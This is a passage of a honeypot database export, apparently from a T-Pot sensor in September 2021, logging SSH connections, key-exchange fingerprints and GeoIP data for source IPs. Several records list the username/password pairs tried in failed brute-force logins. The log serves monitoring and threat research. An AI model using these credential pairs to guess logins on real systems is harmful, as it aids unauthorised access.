"t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25584	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:40.363672+03	2021-09-20 14:15:10.338501+03	{"_id": "HwbmAnwBvYTbRNuEnRze", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [download/download123] failed", "session": "60d4f6908b91", "@version": "1", "password": "download123", "username": "download", "timestamp": "2021-09-20T11:10:40.363672Z", "@timestamp": "2021-09-20T11:10:40.363Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25585	68.168.141.140	109.199.241.180	Cowrie	2021-09-20 14:10:40.429677+03	2021-09-20 14:15:10.3405+03	{"_id": "IAbmAnwBvYTbRNuEnRze", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "68.168.141.140", "asn": 53612, "as_org": "Carat Networks Inc", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "68.168.141.140", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "5c33aafcea93", "@version": "1", "timestamp": "2021-09-20T11:10:40.429677Z", "@timestamp": "2021-09-20T11:10:40.429Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25586	68.168.141.140	109.199.241.180	Suricata	2021-09-20 14:10:40.428134+03	2021-09-20 14:15:10.343499+03	{"_id": "IgbmAnwBvYTbRNuEoBwc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "68.168.141.140", "asn": 53612, "as_org": "Carat Networks Inc", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "68.168.141.140", "dest_ip": "192.168.20.116", "flow_id": 1310611085486954, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50464, "dest_port": 22, "timestamp": "2021-09-20T11:10:40.428134Z", "@timestamp": "2021-09-20T11:10:40.428Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25588	68.168.141.140	109.199.241.180	Cowrie	2021-09-20 14:10:41.246739+03	2021-09-20 14:15:10.345472+03	{"_id": "MwbmAnwBvYTbRNuEoRzJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "68.168.141.140", "asn": 53612, "as_org": "Carat Networks Inc", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "68.168.141.140", "eventid": "cowrie.login.failed", "message": "login attempt [abc1/12345] failed", "session": "5c33aafcea93", "@version": "1", "password": "12345", "username": "abc1", "timestamp": "2021-09-20T11:10:41.246739Z", "@timestamp": "2021-09-20T11:10:41.246Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25589	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:41.067973+03	2021-09-20 14:15:10.346503+03	{"_id": "KwbmAnwBvYTbRNuEoRzJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [keaton/keaton] failed", "session": "ec4004d80de8", "@version": "1", "password": "keaton", "username": "keaton", "timestamp": "2021-09-20T11:10:41.067973Z", "@timestamp": "2021-09-20T11:10:41.067Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25590	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:10:41.640338+03	2021-09-20 14:15:10.348502+03	{"_id": "NwbmAnwBvYTbRNuEpRwc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 48610, "dest_port": 22, "timestamp": "2021-09-20T11:10:41.640338", "@timestamp": "2021-09-20T11:10:41.640Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25591	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:41.651981+03	2021-09-20 14:15:10.3495+03	{"_id": "OAbmAnwBvYTbRNuEpRyw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:32794 (192.168.176.2:22) [session: ae82cd1edada]", "session": "ae82cd1edada", "@version": "1", "protocol": "ssh", "src_port": 32794, "dest_port": 22, "timestamp": "2021-09-20T11:10:41.651981Z", "@timestamp": "2021-09-20T11:10:41.651Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25592	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:42.26857+03	2021-09-20 14:15:10.351499+03	{"_id": "RQbmAnwBvYTbRNuEpRyw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4e67687fbf55", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:42.268570Z", "@timestamp": "2021-09-20T11:10:42.268Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25593	68.168.141.140	109.199.241.180	Cowrie	2021-09-20 14:10:42.429057+03	2021-09-20 14:15:10.3525+03	{"_id": "RgbmAnwBvYTbRNuEpRyw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "68.168.141.140", "asn": 53612, "as_org": "Carat Networks Inc", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "68.168.141.140", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5c33aafcea93", "@version": "1", "duration": 2.2011878490448, "timestamp": "2021-09-20T11:10:42.429057Z", "@timestamp": "2021-09-20T11:10:42.429Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25594	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:10:42.14821+03	2021-09-20 14:15:10.3545+03	{"_id": "RwbmAnwBvYTbRNuEpxzu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1239958873539661, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 32794, "dest_port": 22, "timestamp": "2021-09-20T11:10:42.148210Z", "@timestamp": "2021-09-20T11:10:42.148Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25595	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:42.445894+03	2021-09-20 14:15:10.35547+03	{"_id": "SQbmAnwBvYTbRNuEqRwE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35812, "timestamp": "2021-09-20T11:10:42.445894", "@timestamp": "2021-09-20T11:10:42.445Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25596	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:42.728583+03	2021-09-20 14:15:10.35747+03	{"_id": "SgbmAnwBvYTbRNuEqRyY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4e67687fbf55", "@version": "1", "timestamp": "2021-09-20T11:10:42.728583Z", "@timestamp": "2021-09-20T11:10:42.728Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25597	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:43.807807+03	2021-09-20 14:15:10.3585+03	{"_id": "UQbmAnwBvYTbRNuErRyD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:47524 (192.168.176.2:22) [session: 60608c06aa9d]", "session": "60608c06aa9d", "@version": "1", "protocol": "ssh", "src_port": 47524, "dest_port": 22, "timestamp": "2021-09-20T11:10:43.807807Z", "@timestamp": "2021-09-20T11:10:43.807Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25598	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:43.83691+03	2021-09-20 14:15:10.360502+03	{"_id": "VQbmAnwBvYTbRNuErRyD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [sconsole/12345] failed", "session": "ae82cd1edada", "@version": "1", "password": "12345", "username": "sconsole", "timestamp": "2021-09-20T11:10:43.836910Z", "@timestamp": "2021-09-20T11:10:43.836Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25599	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:10:44.084152+03	2021-09-20 14:15:10.361499+03	{"_id": "XAbmAnwBvYTbRNuErxy_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 38858384415643, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 47524, "dest_port": 22, "timestamp": "2021-09-20T11:10:44.084152Z", "@timestamp": "2021-09-20T11:10:44.084Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
